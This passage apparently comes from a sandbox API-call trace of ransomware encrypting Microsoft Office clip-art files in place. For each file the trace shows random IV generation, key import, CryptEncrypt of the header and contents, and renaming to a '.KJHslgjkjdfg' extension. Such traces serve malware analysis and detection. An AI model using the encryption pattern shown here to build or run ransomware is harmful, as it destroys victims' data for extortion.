lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.664] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.665] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.665] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.665] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.665] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.665] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.665] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x50a5, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x50a5, lpOverlapped=0x0) returned 1 [0208.668] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x50b0, dwBufLen=0x50b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x50b0) returned 1 [0208.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.669] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x50b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x50b0, lpOverlapped=0x0) returned 1 [0208.669] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.669] SetEndOfFile (hFile=0x130) returned 1 [0208.672] GetProcessHeap () returned 0x990000 [0208.672] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.672] GetProcessHeap () returned 0x990000 [0208.672] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif.kjhslgjkjdfg")) returned 1 [0208.674] CloseHandle (hObject=0x130) returned 1 [0208.674] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d585700, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d585700, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02742U.BMP", cAlternateFileName="")) returned 1 [0208.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.675] GetProcessHeap () returned 0x990000 [0208.675] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.675] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.675] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.675] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.675] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.675] GetProcessHeap () returned 0x990000 [0208.675] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.675] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.675] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.675] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.681] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.681] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.681] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.682] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.682] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.682] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.682] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.682] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.682] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.685] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0) returned 1 [0208.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.686] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.686] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.686] SetEndOfFile (hFile=0x130) returned 1 [0208.689] GetProcessHeap () returned 0x990000 [0208.689] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.689] GetProcessHeap () returned 0x990000 [0208.689] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp.kjhslgjkjdfg")) returned 1 [0208.691] CloseHandle (hObject=0x130) returned 1 [0208.691] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a6dc00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1a6dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6d86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02743G.GIF", cAlternateFileName="")) returned 1 [0208.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.692] GetProcessHeap () returned 0x990000 [0208.692] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.692] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.692] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0208.695] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.695] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.695] GetProcessHeap () returned 0x990000 [0208.695] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.695] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.695] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.695] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.695] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.695] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.695] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.696] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.696] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.696] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.696] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6d86, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6d86, lpOverlapped=0x0) returned 1 [0208.697] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6d90, dwBufLen=0x6d90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6d90) returned 1 [0208.697] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.697] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6d90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6d90, lpOverlapped=0x0) returned 1 [0208.697] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.698] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.698] SetEndOfFile (hFile=0x130) returned 1 [0208.701] GetProcessHeap () returned 0x990000 [0208.701] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.701] GetProcessHeap () returned 0x990000 [0208.701] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif.kjhslgjkjdfg")) returned 1 [0208.704] CloseHandle (hObject=0x130) returned 1 [0208.704] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe489ed00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe489ed00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5e7b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02746G.GIF", cAlternateFileName="")) returned 1 [0208.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.706] GetProcessHeap () returned 0x990000 [0208.706] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.706] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.706] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.706] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0208.719] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.719] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.719] GetProcessHeap () returned 0x990000 [0208.719] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.720] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.720] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.720] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.720] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.720] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.720] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.720] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.720] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.720] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.720] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5e7b, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5e7b, lpOverlapped=0x0) returned 1 [0208.750] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5e80, dwBufLen=0x5e80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5e80) returned 1 [0208.751] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.751] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5e80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5e80, lpOverlapped=0x0) returned 1 [0208.751] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.751] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.751] SetEndOfFile (hFile=0x130) returned 1 [0208.754] GetProcessHeap () returned 0x990000 [0208.754] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.754] GetProcessHeap () returned 0x990000 [0208.754] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.754] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif.kjhslgjkjdfg")) returned 1 [0208.756] CloseHandle (hObject=0x130) returned 1 [0208.756] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65001c00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65001c00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7d84, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02746U.BMP", cAlternateFileName="")) returned 1 [0208.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.758] GetProcessHeap () returned 0x990000 [0208.758] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.758] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.759] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0208.772] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.772] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.772] GetProcessHeap () returned 0x990000 [0208.772] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.772] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.772] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.772] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.772] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.772] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.773] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.773] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.773] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.773] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.773] ReadFile (in: hFile=0x130, 